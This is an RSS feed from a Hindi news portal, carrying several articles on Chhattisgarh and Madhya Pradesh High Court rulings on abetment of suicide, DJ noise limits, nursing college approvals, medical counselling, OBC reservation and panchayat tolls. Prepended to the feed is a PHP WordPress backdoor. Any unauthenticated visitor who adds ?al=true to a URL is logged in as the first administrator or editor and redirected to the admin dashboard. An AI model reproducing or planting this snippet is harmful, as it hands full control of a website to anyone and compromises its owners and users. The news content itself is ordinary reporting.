// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); highcourt – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 15 Feb 2026 10:25:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 ‘पति-पत्नी का विवाद आत्महत्या का उकसावा नहीं’, हाईकोर्ट ने रद्द की पति की चार साल की सजा https://pratyushaashakinayikiran.com/?p=198087 Sun, 15 Feb 2026 10:25:00 +0000 https://pratyushaashakinayikiran.com/?p=198087 बिलासपुर.

छत्तीसगढ़ हाईकोर्ट ने आत्महत्या के लिए उकसाने (धारा 306 आईपीसी) के एक अहम मामले में बड़ा फैसला सुनाते हुए निचली अदालत द्वारा सुनाई गई 4 साल की सजा को निरस्त कर दिया है. न्यायमूर्ति रजनी दुबे की एकलपीठ ने कहा कि अभियोजन पक्ष आत्महत्या के लिए उकसावे के आवश्यक तत्व साबित करने में असफल रहा है.

यह मामला जांजगीर-चांपा जिले के बलौदा थाना क्षेत्र का है. आरोपी बसंत कुमार सतनामी के खिलाफ आरोप था कि उसकी पत्नी टिकैतिन बाई ने विवाह के करीब चार वर्ष बाद कथित प्रताड़ना से तंग आकर आत्महत्या कर ली. ट्रायल कोर्ट (द्वितीय अपर सत्र न्यायाधीश, एफटीसी जांजगीर) ने 31 जुलाई 2007 को आरोपी को धारा 306 आईपीसी के तहत दोषी ठहराते हुए 4 वर्ष का सश्रम कारावास और 500 रुपये जुर्माने की सजा सुनाई थी. हाई कोर्ट ने फैसला सुनाते हुए कहा कि पोस्टमार्टम रिपोर्ट में मृत्यु का कारण अज्ञात बताया गया. डॉक्टर ने जिरह में स्वीकार किया कि मृत्यु का कारण उल्टी-दस्त से हुई एस्फिक्सिया भी हो सकता है. एफएसएल रिपोर्ट पेश नहीं की गई. गवाहों के बयानों में विरोधाभास रहे. कुछ ने जहर, कुछ ने शराब सेवन और कुछ ने उल्टी-दस्त से मौत की बात कही. अदालत ने कहा कि केवल पति-पत्नी के बीच विवाद या सामान्य कलह को आत्महत्या के लिए उकसाना नहीं माना जा सकता, जब तक कि स्पष्ट रूप से उकसावे या साजिश का प्रमाण न हो.

सुप्रीम कोर्ट के फैसलों का हवाला
हाई कोर्ट ने अपने निर्णय में सुप्रीम कोर्ट के महत्वपूर्ण फैसलों का उल्लेख करते हुए कहा कि धारा 306 के तहत दोषसिद्धि के लिए स्पष्ट आपराधिक मंशा और प्रत्यक्ष उकसावे का प्रमाण आवश्यक है. मात्र प्रताड़ना या पारिवारिक विवाद पर्याप्त नहीं हैं. हाई कोर्ट ने कहा कि, अभियोजन यह साबित नहीं कर पाया कि मृतका की मौत आत्महत्या थी या आरोपी ने उसे आत्महत्या के लिए उकसाया. ऐसे में ट्रायल कोर्ट द्वारा की गई दोषसिद्धि टिकाऊ नहीं है. अदालत ने आरोपी को बरी करते हुए उसकी सजा रद्द कर दी.

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कानफोड़ू DJ पर हाईकोर्ट की सख्ती: 1 लाख जुर्माना और 5 साल तक की सजा का प्रावधान https://pratyushaashakinayikiran.com/?p=179161 Tue, 19 Aug 2025 13:35:00 +0000 https://pratyushaashakinayikiran.com/?p=179161 बिलासपुर 

छत्तीसगढ़ हाईकोर्ट ने कानफोड़ू DJ और साउंड सिस्टम से होने वाले ध्वनि प्रदूषण को लेकर कड़ी नाराजगी जाहिर की है। शासन ने कोलाहल नियंत्रण अधिनियम को सख्त बनाने और एक लाख रुपए पेनल्टी के साथ पांच साल सजा का प्रावधान करने की जानकारी दी है।

इस नियम को लागू करने के लिए शासन ने समय मांगा, जिस पर चीफ जस्टिस रमेश कुमार सिन्हा की डिवीजन बेंच ने सख्ती दिखाते हुए कहा कि, अब और देरी नहीं चलेगी। इसके लिए हाईकोर्ट ने शासन को तीन सप्ताह का समय दिया है। केस की अगली सुनवाई 9 सितंबर को होगी।

दरअसल, प्रदेश में कोलाहल अधिनियम लागू होने के बाद भी तेज आवाज वाले DJ और साउंड सिस्टम बेधड़क चल रहा है। विशेष कर पर्व के साथ ही धार्मिक-सामाजिक और राजनीतिक आयोजनों के दौरान शोर-शराबा से लोग खासे परेशान रहते हैं। मरीजों के लिए यह खतरनाक साबित होता है।

DJ और साउंड सिस्टम पर बैन लगाने को लेकर हाईकोर्ट में जनहित याचिका की सुनवाई चल रही है। इसके साथ ही हाईकोर्ट ने मीडिया रिपोर्ट्स पर स्वत: संज्ञान लिया है। लगातार सुनवाई और दिशानिर्देश जारी करने के बाद भी कोलाहल नियंत्रण अधिनियम प्रभावी रूप से लागू नहीं हो पाया है।

हाईकोर्ट ने पहले भी जताई थी नाराजगी

इस मामले की पिछली सुनवाई के दौरान शासन की तरफ से बताया गया कि, कोलाहल अधिनियम के तहत DJ और साउंड सिस्टम बजाने वालों पर लगातार जुर्माने की कार्रवाई की जा रही है। इस पर याचिकाकर्ता की तरफ से कहा गया कि केवल 500 से 1,000 रुपए जुर्माना लगाकर मामला खत्म कर दिया जाता है।

इसके लिए कोई सख्त नियम नहीं बना है। हाईकोर्ट ने भी इस तरह की कार्रवाई पर नाराजगी जाहिर करते हुए शासन से शपथपत्र के साथ जवाब मांगा था।

DJ संचालकों ने भी लगाई है याचिका

इस जनहित याचिका के साथ DJ संचालकों की ओर से भी हस्तक्षेप याचिका लगाई है। इसमें कहा गया है कि कई बार पुलिस उनके खिलाफ एकतरफा कार्रवाई कर रही है, इसलिए नियम लागू होने से पहले स्पष्ट गाइडलाइन तय होनी चाहिए। DJ बजाने के लिए समय तय होना चाहिए, ताकि उनका व्यवसाय भी जारी रहे।

वहीं, हाईकोर्ट ने कहा कि सुप्रीम कोर्ट ने पहले ही कोलाहल अधिनियम को लेकर दिशानिर्देश जारी किया है। साथ ही हाईकोर्ट से भी कई बार दिशानिर्देश जारी किए गए हैं।

शासन ने कहा- एक लाख जुर्माना और पांच साल सजा का प्रावधान

शासन की तरफ से कोर्ट को बताया गया कि, DJ और वाहन माउंटेड साउंड सिस्टम पर लेजर लाइट पहले से प्रतिबंधित है। नियम का उल्लंघन करने वालों पर जुर्माना लगाया जा रहा है। बार-बार उल्लंघन करने पर वाहनों को जब्त भी किया जाता है। इसके साथ ही अब नियम तोड़ने वालों को 5 साल की सजा, एक लाख रुपए जुर्माना या दोनों का प्रावधान किया जा रहा है।

सुनवाई के दौरान हाईकोर्ट ने कहा कि शासन पहले ही एक्ट लागू करने का वादा कर चुका है, अब और बहाने नहीं चलेगे। कोर्ट ने निर्देश दिया कि 3 सप्ताह में मसौदा तैयार कर रिपोर्ट पेश करें।

 

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नर्सिंग कॉलेज को किन अफसरों ने दी थी मान्यता, कोर्ट ने मांगी सूची https://pratyushaashakinayikiran.com/?p=134212 Thu, 27 Feb 2025 10:16:00 +0000 https://pratyushaashakinayikiran.com/?p=134212 जबलपुर

मध्य प्रदेश हाईकोर्ट के जस्टिस संजय द्विवेदी और जस्टिस ए.के. पालीवाल की युगलपीठ ने राज्य सरकार को निर्देश दिया है कि अपात्र नर्सिंग कॉलेजों को अनुमति देने वाले तत्कालीन अधिकारियों की सूची प्रस्तुत की जाए, ताकि उन पर व्यक्तिगत जिम्मेदारी तय की जा सके। अदालत ने यह आदेश लॉ स्टूडेंट्स एसोसिएशन के अध्यक्ष विशाल बघेल द्वारा दायर याचिका पर सुनवाई के दौरान दिया, जिसमें प्रदेश में फर्जी नर्सिंग कॉलेजों के संचालन को चुनौती दी गई थी।

याचिका में आरोप लगाया गया था कि एमपीएनआरसी कार्यालय से 13 से 19 दिसंबर के बीच की सीसीटीवी फुटेज डिलीट हो गई थी। इसके मद्देनजर, अदालत ने पुलिस आयुक्त भोपाल और साइबर सेल प्रभारी को डिलीटेड सीसीटीवी फुटेज की रिकवरी के प्रयास करने और तत्कालीन रजिस्ट्रार की फोन लोकेशन की जांच करने का आदेश दिया था, ताकि उनकी भौतिक उपस्थिति की पुष्टि हो सके। साथ ही, आसपास लगे सीसीटीवी कैमरों की भी जांच के निर्देश दिए गए थे।

सोमवार को हुई सुनवाई में साइबर क्राइम भोपाल ने अदालत को सूचित किया कि डिलीटेड फुटेज को पुनः प्राप्त करने के लिए सामग्री केंद्रीय विधि विज्ञान प्रयोगशाला, बरखेड़ा बोदर, भोपाल को दी गई है। हालांकि, प्रयोगशाला के निदेशक ने लिखित में सूचित किया कि जांच की समाप्ति की कोई निश्चित तिथि नहीं है। अदालत ने इस पर नाराजगी जताते हुए कहा कि निदेशक का रवैया अत्यंत लापरवाहीपूर्ण है और उन्हें अगली सुनवाई में व्यक्तिगत रूप से उपस्थित होकर स्पष्टीकरण प्रस्तुत करने का आदेश दिया।

इसके अलावा, सीबीआई की रिपोर्ट के आधार पर हाईकोर्ट द्वारा अयोग्य घोषित किए गए कॉलेजों को 2018 से मान्यता देने वाले अधिकारियों की सूची भी प्रस्तुत करने के निर्देश दिए गए हैं। अदालत ने स्पष्ट किया है कि यदि आदेश का पालन नहीं हुआ तो संबंधित अधिकारियों के खिलाफ सख्त कार्रवाई की जाएगी। याचिकाकर्ता की ओर से अधिवक्ता आलोक बागरेचा ने पैरवी की।

 

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एमडी-एमएस काउंसलिंग के रिजल्ट पर रोक रहेगी जारी, हाईकोर्ट ने खारिज किया आवेदन https://pratyushaashakinayikiran.com/?p=106173 Wed, 04 Dec 2024 18:10:00 +0000 https://pratyushaashakinayikiran.com/?p=106173 जबलपुर

एमडी-एमएस कोर्स में दाखिले के लिए नीट पीजी काउंसलिंग में प्रदेश के रजिस्टर्ड कैंडिडेट्स की मेरिट सूची तैयार करने में दूसरी बार नॉर्मलाइजेशन प्रक्रिया अपनाए जाने को चुनौती देते हुए हाईकोर्ट में याचिका दायर की गई थी। याचिका की सुनवाई के दौरान हाईकोर्ट ने काउंसलिंग के रिजल्ट जारी करने पर रोक लगा दी थी। रिजल्ट जारी करने पर लगी इस रोक को हटाने के लिए आवेदन दायर किया गया था, जिसे जस्टिस संजीव सचदेवा और जस्टिस विवेक सराफ की युगलपीठ ने खारिज कर दिया और रोक को बरकरार रखा।

रीवा के डॉ. अभिषेक शुक्ला व अन्य की ओर से दायर याचिका में कहा गया था कि नीट की नॉर्मलाइजेशन प्रक्रिया अपनाते हुए पीजी कोर्स में दाखिले के लिए मेरिट लिस्ट तैयार की गई थी। प्रदेश सरकार द्वारा प्रदेश के रजिस्टर्ड कैंडिडेट्स की मेरिट लिस्ट तैयार करने में दूसरी बार नॉर्मलाइजेशन प्रक्रिया अपनाई गई है, जिसके कारण नीट की मेरिट लिस्ट में अच्छी रैंकिंग होने के बावजूद प्रदेश की मेरिट लिस्ट में उनका स्थान नीचे हो गया।

याचिकाकर्ताओं ने बताया कि पहले राउंड के लिए चॉइस फिलिंग और चॉइस लॉकिंग की प्रक्रिया शुरू हो चुकी है, जो 24 नवंबर की रात 12 बजे तक चलेगी। इसका रिजल्ट 26 नवंबर को घोषित किया जाना है। उन्होंने कहा कि एडमिशन की प्रक्रिया में नियमों का पालन नहीं हो रहा है और पहले राउंड का रिजल्ट घोषित करने पर रोक लगाई जाए।

याचिका की सुनवाई करते हुए युगलपीठ ने अनावेदक को नोटिस जारी करते हुए रिजल्ट घोषित करने पर रोक लगा दी। संचालक, मेडिकल एजुकेशन की तरफ से पेश किए गए जवाब में कहा गया कि नेशनल बोर्ड ऑफ एग्जामिनेशन इन मेडिकल साइंस, नई दिल्ली द्वारा मेरिट लिस्ट तैयार की गई है। इसके बाद मध्यप्रदेश में पूरी प्रक्रिया का विधिवत पालन किया जा रहा है। हाईकोर्ट ने नेशनल बोर्ड ऑफ एग्जामिनेशन को अनावेदक बनाए जाने का आवेदन स्वीकार करते हुए नोटिस जारी कर जवाब मांगा था।

 याचिका पर हुई सुनवाई के दौरान सरकार की तरफ से रिजल्ट पर लगाई गई रोक को हटाने के लिए आवेदन पेश किया गया। सुनवाई के बाद युगलपीठ ने इस आवेदन को खारिज कर दिया। याचिकाकर्ताओं की तरफ से अधिवक्ता आदित्य संघी ने पैरवी की।

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कॉन्स्टेबल भर्ती में 27% OBC आरक्षण की मेरिट के आधार पर किया जाए चयन, हाईकोर्ट ने खारिज की अपील https://pratyushaashakinayikiran.com/?p=104275 Fri, 29 Nov 2024 18:05:00 +0000 https://pratyushaashakinayikiran.com/?p=104275 जबलपुर

मध्य प्रदेश में आरक्षण भर्ती प्रक्रिया में ओबीसी वर्ग के लिए 27 प्रतिशत आरक्षण की मांग को लेकर दायर याचिका को जबलपुर हाईकोर्ट ने खारिज कर दिया। याचिका में कहा गया था कि 2023 में आयोजित आरक्षक भर्ती प्रक्रिया में ओबीसी उम्मीदवारों को 27 प्रतिशत आरक्षण के आधार पर मेरिट लिस्ट तैयार कर चयनित किया जाए।

याचिका में अपीलकर्ता भूपेंद्र लोधी और 49 अन्य याचिकाकर्ताओं ने कहा कि भर्ती के लिए जारी विज्ञापन में लिखित और शारीरिक परीक्षा में उत्तीर्ण होने के बाद, मेडिकल परीक्षण के लिए 1:7 के अनुपात में चयन किया जाना था। इसके अनुसार, ओबीसी वर्ग के लिए 27 प्रतिशत आरक्षण का लाभ मिलना चाहिए था।

हालांकि, मध्य प्रदेश सरकार ने ओबीसी को 14 प्रतिशत आरक्षण देने का निर्णय लिया था, जिसे लेकर हाईकोर्ट में मामला लंबित है। कोर्ट ने विभिन्न विभागों में 14 प्रतिशत आरक्षण देने के आदेश दिए थे, लेकिन 27 प्रतिशत आरक्षण पर रोक नहीं लगाई थी।

याचिका में कहा गया था कि भर्ती के लिए तीन सूची तैयार की गई हैं: 87 प्रतिशत सामान्य वर्ग, और 13-13 प्रतिशत ओबीसी और अनारक्षित वर्ग के लिए। याचिकाकर्ताओं ने कहा कि 14 प्रतिशत आरक्षण के कारण चयन में त्रुटि हुई है और उन्होंने 27 प्रतिशत आरक्षण के अनुसार मेरिट लिस्ट तैयार करने की अपील की थी।

हाईकोर्ट की युगलपीठ ने अपील खारिज करते हुए कहा कि एकलपीठ का निर्णय सही था और उसमें कोई त्रुटि नहीं है।

 

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वाहनों से टोल टैक्स लेने का ग्राम पंचायत को अधिकार नहीं, हाईकोर्ट ने खारिज की याचिका https://pratyushaashakinayikiran.com/?p=68470 Tue, 10 Sep 2024 13:46:00 +0000 https://pratyushaashakinayikiran.com/?p=68470 जबलपुर
ग्राम पंचायत द्वारा मोटर वाहन से टोल टैक्स वसूले जाने को अवैध करार देते हुए जाचं के आदेश को खारिज करने की मांग को लेकर हाईकोर्ट में एक याचिका दायर की गई थी। जबलपुर हाईकोर्ट जस्टिस विशाल धगट की एकलपीठ ने याचिका को खारिज करते हुए अपने आदेश में कहा है कि मोटर द्वारा संचालित सभी वाहन मोटर वाहन की परिभाषा के अंतर्गत आते हैं। ग्राम पंचायत के पास मोटर वाहन पर कर लगाने का कोई अधिकार नहीं है।

सिहोरा तहसील की हरगढ ग्राम पंचातय की तरफ से दायर याचिका में कहा गया था कि अनुविभागीय अधिकारी ने मुख्य कार्यपालन अधिकारी जनपद पंचायत सिहोरा को हरगढ़ क्षेत्र में अवैध टोल टैक्स वसूली के संबंध में पत्र लिखाकर जांच कराने का अनुरोध किया गया है। मुख्य कार्यपालन ने ग्राम पंचायत सचिव को लिखे पत्र में कहा था कि मप्र पंचायत राज एवं ग्राम स्वराज अधिनियम, 1993 की धारा 77-ए(2) के अंतर्गत ग्राम पंचायत को वाणिज्यिक कर लगाने का कोई प्रावधान नहीं है। इसके अलावा जांच रिपोर्ट प्रस्तुत करने निर्देश भी जारी किए थे। याचिकाकर्ता की तरफ से तर्क दिया गया कि मप्र की धारा 77-ए(2) के अंतर्गत अनुसूची-2 के प्रावधान के अनुसार कर लगाया गया है। पंचायत राज एवं ग्राम स्वराज अधिनियम के तहत ग्राम सभा द्वारा प्रस्ताव पारित किया गया है और पंचायत द्वारा कोई अवैध टोल या कर एकत्र नहीं किया गया है। इसके अलावा सीईओ ग्राम सभा के प्रस्ताव के खिलाफ कार्रवाई करने के लिए सक्षम प्राधिकारी नहीं है।

सरकार की तरफ से याचिका पर आपत्ति व्यक्त करते हुए कहा गया कि याचिका दायर करने के लिए सरपंच को अधिकृत करने ग्राम पंचायत में कोई प्रस्ताव पारित नहीं हुआ है। प्रस्ताव में पंच के नाम और उनके हस्ताक्षर नहीं हैं। सीईओ ने धारा 85 के तहत पंचायत द्वारा जारी किसी भी आदेश, लाइसेंस और दी गई अनुमति के निष्पादन को निलंबित करने का अधिकार है।

एकलपीठ ने याचिका को खारिज करते हुए अपने आदेष में कहा है कि धारा 77 उपधारा (2) के तहत अधिनियमित अनुसूची-2 के अनुसार कर केवल मोटर वाहनों के अलावा अन्य वाहनों पर लगाया जा सकता है। मोटर वाहन की परिभाषा मोटर वाहन अधिनियम, 1988 की धारा 2 में वह सभी वाहन शामिल हैं, जो यांत्रिक रूप से संचालित हैं या सड़कों पर उपयोग के लिए अनुकूलित हैं। मोटर वाहन पर प्रवेश कर ग्राम पंचायत द्वारा नहीं लगाया जा सकता। एकलपीठ ने याचिकाकर्ता के खिलाफ कोई प्रतिकूल आदेष जारी नहीं किये जाने पर जांच पर रोक लगाने से इंकार कर दिया।  

 

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